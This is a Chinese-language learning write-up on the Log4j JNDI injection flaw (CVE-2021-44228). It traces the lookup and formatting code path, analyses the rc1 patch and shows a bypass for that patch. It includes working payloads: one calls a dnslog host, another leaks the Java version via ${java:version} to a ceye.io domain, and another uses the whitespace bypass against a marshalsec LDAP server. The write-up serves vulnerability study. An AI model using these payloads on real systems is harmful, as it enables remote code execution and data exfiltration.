• log4j漏洞学习


    总结

    其实学完之后回过头造成漏洞的原理就是Log4j引入了lookup接口原本的目的是来支持在日志输出时获取任意位置的Java对象。通过使用lookup接口,Log4j可以通过适当的配置和调用,动态地从程序运行环境中获取所需的对象,然后将其作为日志消息的一部分输出到日志目标中。
    而恶意利用离不开我们的第一就是我们log4j输出内容的时候会去格式化,这里就会涉及到一个convert和format的过程,就会调用我们的MessagePatternConverter类,它会去识别我们的{jndi:…}这部分,然后交给lookup处理,而这部分主要是由我们的JndiManager负责的,它使用了InitialContext来构建了上下文导致了jndi的注入

    基础知识

    首先搭建一个环境

    我们使用maven来引入相关组件的2.14.0版本,在工程的pom.xml下添加如下配置,他会导入两个jar包
    
    <dependencies>
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-core</artifactId>
            <version>2.14.0</version>
        </dependency>
    </dependencies>
    

    在工程目录resources下创建log4j2.xml配置文件

    <?xml version="1.0" encoding="UTF-8"?>
    
    <configuration status="error">
        <appenders>
    <!--        配置Appenders输出源为Console和输出语句SYSTEM_OUT-->
            <Console name="Console" target="SYSTEM_OUT" >
    <!--            配置Console的模式布局-->
                <PatternLayout pattern="%d{yyyy-MM-dd HH:mm:ss.SSS} [%t] %level %logger{36} - %msg%n"/>
            </Console>
        </appenders>
        <loggers>
            <root level="error">
                <appender-ref ref="Console"/>
            </root>
        </loggers>
    </configuration>
    

    测试代码
    og4j2中包含两个关键组件LogManager和LoggerContext。LogManager是Log4J2启动的入口,可以初始化对应的LoggerContext。LoggerContext会对配置文件进行解析等其它操作。

    在不使用slf4j的情况下常见的Log4J用法是从LogManager中获取Logger接口的一个实例,并调用该接口上的方法。运行下列代码查看打印结果

    
    import org.apache.logging.log4j.LogManager;
    import org.apache.logging.log4j.Logger;
    
    
    public class log4j2Rce2 {
        private static final Logger logger = LogManager.getLogger(log4j2Rce2.class);
        public static void main(String[] args) {
            String a="${java:os}";
            logger.error(a);
        }
    }
    

    属性占位符之Interpolator(插值器)

    这是什么东西呢?其实理解为我们linux里面的环境变量就好了,log4j2中环境变量键值对被封装为了StrLookup对象。这些变量的值可以通过属性占位符来引用,格式为:${prefix:key}。在Interpolator(插值器)内部以Map的方式则封装了多个StrLookup对象

    在这里插入图片描述
    这些实现类存在于org.apache.logging.log4j.core.lookup包下,当参数占位符 p r e f i x : k e y 带有 p r e f i x 前缀时, I n t e r p o l a t o r 会从指定 p r e f i x 对应的 S t r L o o k u p 实例中进行 k e y 查询。当参数占位符 {prefix:key}带有prefix前缀时,Interpolator会从指定prefix对应的StrLookup实例中进行key查询。当参数占位符 prefix:key带有prefix前缀时,Interpolator会从指定prefix对应的StrLookup实例中进行key查询。当参数占位符{key}没有prefix时,Interpolator则会从默认查找器中进行查询。如使用${jndi:key}时,将会调用JndiLookup的lookup方法 使用jndi(javax.naming)获取value

    模式布局

    PatternLayout模式布局会通过PatternProcessor模式解析器,对模式字符串进行解析,得到一个List转换器列表和List格式信息列表。在配置文件PatternLayout标签的pattern属性中我们可以看到类似%d的写法,d代表一个转换器名称,log4j2会通过PluginManager收集所有类别为Converter的插件,同时分析插件类上的@ConverterKeys注解,获取转换器名称,并建立名称到插件实例的映射关系,当PatternParser识别到转换器名称的时候,会查找映射。

    而我们的漏洞就是出现在转换器名称msg对应的插件实例MessagePatternConverter对于日志中的消息内容处理中,MessagePatternConverter会将日志中的消息内容为${prefix:key}格式的字符串进行解析转换,读取环境变量。此时为jndi的方式的话,就存在漏洞。

    日志级别

    在这里插入图片描述
    级别由高到低共分为6个:fatal(致命的), error, warn, info, debug, trace(堆栈)。

    log4j2还定义了一个内置的标准级别intLevel,由数值表示,级别越高数值越小。

    当日志级别(调用)大于等于系统设置的intLevel的时候,log4j2才会启用日志打印。在存在配置文件的时候
    ,会读取配置文件中值设置intLevel。当然我们也可以通过Configurator.setLevel(“当前类名”, Level.INFO);来手动设置。如果没有配置文件也没有指定则会默认使用Error级别,也就是200

    Jndi RCE CVE-2021-44228

    环境搭建

    为了便于分析,我们就使用上面的那个环境,但是需要修改代码

    import org.apache.logging.log4j.Level;
    import org.apache.logging.log4j.LogManager;
    import org.apache.logging.log4j.Logger;
    import org.apache.logging.log4j.core.config.Configurator;
    
    public class Log4jTEst {
    
        public static void main(String[] args) {
    
            Logger logger = LogManager.getLogger(Log4jTEst.class);
    
            logger.error("${jndi:rmi://64c8bb6d.dnslog.biz.}");
    
        }
    }
    

    漏洞复现

    按道理来说复现是需要我们搭建一个rmi的,但是我知识分析这个逻辑,就简单的用dns来证明有漏洞

    在这里插入图片描述

    代码分析

    先给出调用栈,能够对过程有更好的理解

    lookup:209, Interpolator (org.apache.logging.log4j.core.lookup)
    resolveVariable:1116, StrSubstitutor (org.apache.logging.log4j.core.lookup)
    substitute:1038, StrSubstitutor (org.apache.logging.log4j.core.lookup)
    substitute:912, StrSubstitutor (org.apache.logging.log4j.core.lookup)
    replace:467, StrSubstitutor (org.apache.logging.log4j.core.lookup)
    format:132, MessagePatternConverter (org.apache.logging.log4j.core.pattern)
    format:38, PatternFormatter (org.apache.logging.log4j.core.pattern)
    toSerializable:345, PatternLayout$PatternSerializer (org.apache.logging.log4j.core.layout)
    toText:244, PatternLayout (org.apache.logging.log4j.core.layout)
    encode:229, PatternLayout (org.apache.logging.log4j.core.layout)
    encode:59, PatternLayout (org.apache.logging.log4j.core.layout)
    directEncodeEvent:197, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
    tryAppend:190, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
    append:181, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
    tryCallAppender:156, AppenderControl (org.apache.logging.log4j.core.config)
    callAppender0:129, AppenderControl (org.apache.logging.log4j.core.config)
    callAppenderPreventRecursion:120, AppenderControl (org.apache.logging.log4j.core.config)
    callAppender:84, AppenderControl (org.apache.logging.log4j.core.config)
    callAppenders:543, LoggerConfig (org.apache.logging.log4j.core.config)
    processLogEvent:502, LoggerConfig (org.apache.logging.log4j.core.config)
    log:485, LoggerConfig (org.apache.logging.log4j.core.config)
    log:460, LoggerConfig (org.apache.logging.log4j.core.config)
    log:82, AwaitCompletionReliabilityStrategy (org.apache.logging.log4j.core.config)
    log:161, Logger (org.apache.logging.log4j.core)
    tryLogMessage:2198, AbstractLogger (org.apache.logging.log4j.spi)
    logMessageTrackRecursion:2152, AbstractLogger (org.apache.logging.log4j.spi)
    logMessageSafely:2135, AbstractLogger (org.apache.logging.log4j.spi)
    logMessage:2011, AbstractLogger (org.apache.logging.log4j.spi)
    logIfEnabled:1983, AbstractLogger (org.apache.logging.log4j.spi)
    error:740, AbstractLogger (org.apache.logging.log4j.spi)
    main:11, Log4jTEst
    

    AbstractLogger.error: 在你的代码中,这个方法被调用来记录一个错误级别的日志。
    AbstractLogger.logIfEnabled: 这个方法检查是否启用了对应的日志级别,如果启用了,则继续进行日志记录。
    AbstractLogger.logMessage: 这个方法会调用MessageFactory来创建一个日志消息(LogEvent)。
    Logger.log 和 LoggerConfig.log: 这些方法处理日志事件,包括日志级别的检查,以及将日志事件传递给所有的Appender来进行处理。
    AppenderControl.callAppender: 这个方法将日志事件发送给相应的Appender。在这个例子中,可能是一个ConsoleAppender(控制台输出)或者是一个FileAppender(文件输出)。
    AbstractOutputStreamAppender.append: 这个方法将日志事件写入到指定的输出流中,比如控制台或者文件。
    PatternLayout.encode: 这个方法将日志事件按照指定的模式(Pattern)转换成一个字符串。
    MessagePatternConverter.format: 这个方法将日志事件中的数据按照特定的模式进行格式化,比如日期,日志级别,日志信息等。
    StrSubstitutor.replace: 这个方法处理字符串中的变量替换。在你的例子中,它将${java:os}替换成对应的系统属性。
    StrSubstitutor.substitute: 这个方法负责实际的字符串替换工作。
    Interpolator.lookup: 这个方法用来查找和替换Log4j配置文件和日志事件中的变量。

    当然我们重点分析的只有

    lookup:209, Interpolator (org.apache.logging.log4j.core.lookup)
    resolveVariable:1116, StrSubstitutor (org.apache.logging.log4j.core.lookup)
    substitute:1038, StrSubstitutor (org.apache.logging.log4j.core.lookup)
    substitute:912, StrSubstitutor (org.apache.logging.log4j.core.lookup)
    replace:467, StrSubstitutor (org.apache.logging.log4j.core.lookup)
    format:132, MessagePatternConverter (org.apache.logging.log4j.core.pattern)
    format:38, PatternFormatter (org.apache.logging.log4j.core.pattern)
    toSerializable:345, PatternLayout$PatternSerializer (org.apache.logging.log4j.core.layout)
    toText:244, PatternLayout (org.apache.logging.log4j.core.layout)
    encode:229, PatternLayout (org.apache.logging.log4j.core.layout)
    encode:59, PatternLayout (org.apache.logging.log4j.core.layout)
    directEncodeEvent:197, AbstractOutputStreamAppender 
    
    日志记录/触发点

    通常我们使用 LogManager.getLogger() 方法来获取一个 Logger 对象

    在这些所有的方法里,都会先使用名为 org.apache.logging.log4j.spi.AbstractLogger#logIfEnabled 的若干个重载方法来根据当前的配置的记录日志的等级,来判断是否需要输出 console 和记录日志文件。其中 Log4j 包括的日志等级层级分别为:ALL < DEBUG < INFO < WARN < ERROR < FATAL < OFF。

    在默认情况下,会输出 WARN/ERROR/FATAL 等级的日志。

    消息格式化

    这里也是我们的重点,我们从
    PatternLayout.encode开始分析,这个方法将日志事件按照指定的模式(Pattern)转换成一个字符串。

    toSerializable:345, PatternLayout$PatternSerializer (org.apache.logging.log4j.core.layout)
    toText:244, PatternLayout (org.apache.logging.log4j.core.layout)
    encode:229, PatternLayout 
    

    PatternLayout.encode: 这个方法将转换为文本的日志事件编码为字节数组,然后写入到输出流中。这个方法可能会进行一些额外的处理,比如添加换行符或者其他的分隔符。

    PatternLayout.toText: 这个方法将序列化的日志事件转换为纯文本。在大多数情况下,由于日志事件已经被转换为字符串,所以这个方法可能只是简单地返回传入的字符串。

    PatternLayout$PatternSerializer.toSerializable: 这个方法将日志事件转换为一个可以序列化的对象,通常是一个字符串。这个方法使用预先定义的模式(Pattern)来格式化日志事件的各个部分,比如日期、级别、消息内容等。

    public StringBuilder toSerializable(final LogEvent event, final StringBuilder buffer) {
                final int len = formatters.length;
                for (int i = 0; i < len; i++) {
                    formatters[i].format(event, buffer);
                }
                if (replace != null) { // creates temporary objects
                    String str = buffer.toString();
                    str = replace.format(str);
                    buffer.setLength(0);
                    buffer.append(str);
                }
                return buffer;
            }
    

    它会调用 formatters[i].format(event, buffer);方法,而我们的 formatters之一就有我们的org.apache.logging.log4j.core.pattern.MessagePatternConverter

    在这里插入图片描述跟进它的format方法

    在这里插入图片描述会对我们特殊字符进行一个判断截取,就是获取我们的value部分

    在这里插入图片描述

    此时的workingBuilder是一个StringBuilder对象,该对象存放的字符串如下所示

    09:54:48.329 [main] ERROR com.Test.log4j.Log4jTEst - ${jndi:ldap://2lnhn2.ceye.io}
    

    本来这段字符串的长度是82,但是却给它改成了53,为什么呢?因为第五十三的位置就是 符号,也就是说 符号,也就是说 符号,也就是说{jndi:ldap://2lnhn2.ceye.io}这段不要了,从第53位开始append。而append的内容是什么呢?可以看到传入的参数是config.getStrSubstitutor().replace(event, value)的执行结果,其中的value就是${jndi:ldap://2lnhn2.ceye.io}这段字符串

    resolveVariable:1116, StrSubstitutor (org.apache.logging.log4j.core.lookup)
    substitute:1038, StrSubstitutor (org.apache.logging.log4j.core.lookup)
    substitute:912, StrSubstitutor (org.apache.logging.log4j.core.lookup)
    replace:467, StrSubstitutor (org.apache.logging.log4j.core.lookup)
    

    StrSubstitutor.replace: 这个方法处理字符串中的变量替换。在你的例子中,它将${java:os}替换成对应的系统属性。
    StrSubstitutor.substitute: 这个方法负责实际的字符串替换工作。
    Interpolator.lookup: 这个方法用来查找和替换Log4j配置文件和日志事件中的变量。

    Lookup 处理

    Log4j2 使用 org.apache.logging.log4j.core.lookup.Interpolator 类来代理所有的 StrLookup 实现类。也就是说在实际使用 Lookup 功能时,由 Interpolator 这个类来处理和分发。

    这个类在初始化时创建了一个 strLookupMap ,将一些 lookup 功能关键字和处理类进行了映射,存放在这个 Map 中。在这里插入图片描述处理和分发的关键逻辑在于其 lookup 方法,通过 : 作为分隔符来分隔 Lookup 关键字及参数,从strLookupMap 中根据关键字作为 key 匹配到对应的处理类,并调用其 lookup 方法。
    在这里插入图片描述

    本次漏洞的触发方式是使用 jndi: 关键字来触发 JNDI 注入漏洞,对于 jndi

    JNDI 查询

    Log4j2 使用 org.apache.logging.log4j.core.net.JndiManager 来支持 JDNI 相关操作。
    JndiManager 使用私有内部类 JndiManagerFactory 来创建 JndiManager 实例,如下图:

    在这里插入图片描述可以看到是创建了一个新的 InitialContext 实例,并作为参数传递用来创建 JndiManager,这个 Context 被保存在成员变量 context 中:

    我们要触发jndi,就是要触发 InitialContext的lookup方法

    JndiManager#lookup 方法则调用 this.context.lookup() 实现 JNDI 查询操作。

    在这里插入图片描述

    触发条件

    通过对上面的代码分析,触发条件我们要看得到信息,那就得把我们的日志打印出来,

    这里就要提到Log4j2的日志优先级问题,每个优先级对应一个数值intLevel记录在StandardLevel这个枚举类型中,数值越小优先级越高。
    在这里插入图片描述当我们执行Logger.error的时候,会调用Logger.logIfEnabled方法进行一个判断,而判断的依据就是这个日志优先级的数值大小
    在这里插入图片描述在这里插入图片描述跟进isEnabled方法发现,只有当前日志优先级数值小于Log4j2的200的时候,程序才会继续往下走,如下所示

    在这里插入图片描述
    而这里日志优先级数值小于等于200的就只有”error”、”fatal”,这两个,所以logger.fatal()方法也可触发漏洞。但是”warn”、”info”大于200的就触发不了了

    敏感数据带外

    有时候我们并不能进行反弹shell哪些操作,我们可以尝试外带敏感的信息,比如java版本

    "${jndi:ldap://${java:version}.2lnhn2.ceye.io}"
    

    利用dns的解析去外带,因为它会先把内层的解析,再去解析外层

    漏洞修复

    MessagePatternConverter类

    首先在这次补丁中MessagePatternConverter类进行了大改,可以看下修改前后MessagePatternConverter这个类的结构对比

    修改前
    在这里插入图片描述
    修改后在这里插入图片描述
    在 MessagePatternConverter 类中创建了内部类 SimpleMessagePatternConverter、FormattedMessagePatternConverter、LookupMessagePatternConverter、RenderingPatternConverter,将一些扩展的功能进行模块化的处理,而只有在开启 lookup 功能时才会使用 LookupMessagePatternConverter 来进行 Lookup 和替换

    之前的MessagePatternConverter,变成了现在的MessagePatternConverter$SimpleMessagePatternConverter,那么这个SimpleMessagePatternConverter的方法究竟是怎么实现的

    在这里插入图片描述可以看到并没有对传入的数据的“${”符号进行判断并特殊处理,所以利用这个合理的规避了我们的漏洞

    JndiManager#lookup

    第二个关键位置是 JndiManager#lookup 方法中添加了校验,使用了 JndiManagerFactory 来创建 JndiManager 实例,不再使用 InitialContext

    public synchronized <T> T lookup(final String name) throws NamingException {
            try {
                URI uri = new URI(name);
                if (uri.getScheme() != null) {
                    if (!allowedProtocols.contains(uri.getScheme().toLowerCase(Locale.ROOT))) {
                        LOGGER.warn("Log4j JNDI does not allow protocol {}", uri.getScheme());
                        return null;
                    }
                    if (LDAP.equalsIgnoreCase(uri.getScheme()) || LDAPS.equalsIgnoreCase(uri.getScheme())) {
                        if (!allowedHosts.contains(uri.getHost())) {
                            LOGGER.warn("Attempt to access ldap server not in allowed list");
                            return null;
                        }
    

    可以看到如果你是ldap开头的话,我们就需要
    在这里插入图片描述就回去判断请求的host,也就是请求的地址,白名单内容如下所示
    在这里插入图片描述
    可以看到白名单里要么是本机地址,要么是内网地址,fe80开头的ipv6地址也是内网地址,看似想要绕过有些困难,因为都是内网地址,没法请求放在公网的ldap服务,不过不用着急,继续往下看。

    使用marshalsec开启ldap服务后,先将payload修改成下面这样

    ${jndi:ldap://127.0.0.1:8088/ExportObject}
    如此一来就可以绕过第一道校验,过了这个host校验后,还有一个校验,在JndiManager.lookup方法中,会将请求ldap服务后 ldap返回的信息以map的形式存储,如下所示

    在这里插入图片描述这里要求javaFactory为空,否则就会返回”Referenceable class is not allowed for xxxxxx”的错误
    在这里插入图片描述

    但是这个没有return,程序会继续执行
    也就是说只要让lookup方法在执行的时候抛个异常就可以了,将payload修改成以下的形式

    ${jndi:ldap://xxx.xxx.xxx.xxx:xxxx/ ExportObject}
    

    在url中“/”后加上一个空格,就会导致lookup方法中一开始实例化URI对象的时候报错,这样不仅可以绕过第二道校验,连第一个针对host的校验也可以绕过,从而再次造成RCE。在rc2中,catch错误之后,return null,也就走不到lookup方法里了。

    rce1绕过

    那它是不是废弃了我们这个lookup功能呢?

    并没有
    开发者将其转移到了LookupMessagePatternConverter.format()方法中,如下所示

    在这里插入图片描述
    所以如果我们如果convert的时候利用LookupMessagePatternConverter从而能让程序在后续的执行过程中调用它的format方法

    但是这个绕过吧。。。。也不算绕过
    就是要修改配置文件,修改成如下所示在“%msg”的后面添加一个“{lookups}”,我相信一般情况下应该没有那个开发者会这么改配置文件玩,除非他真的需要log4j2提供的jndi lookup功能

    参考su18师傅

  • 相关阅读:
    大数据、Hadoop、Hbase介绍
    2312. 卖木头块
    https跟http有什么区别?
    模型降阶方法之张量方法
    Git管理 — 分支管理
    Android反编译apk
    element-ui vue2 iframe 嵌入外链新解
    SpringBoot与Loki的那些事
    Java_引用变量
    java计算机毕业设计高校教材征订管理系统MyBatis+系统+LW文档+源码+调试部署
  • 原文地址:https://blog.csdn.net/2301_79724395/article/details/139048810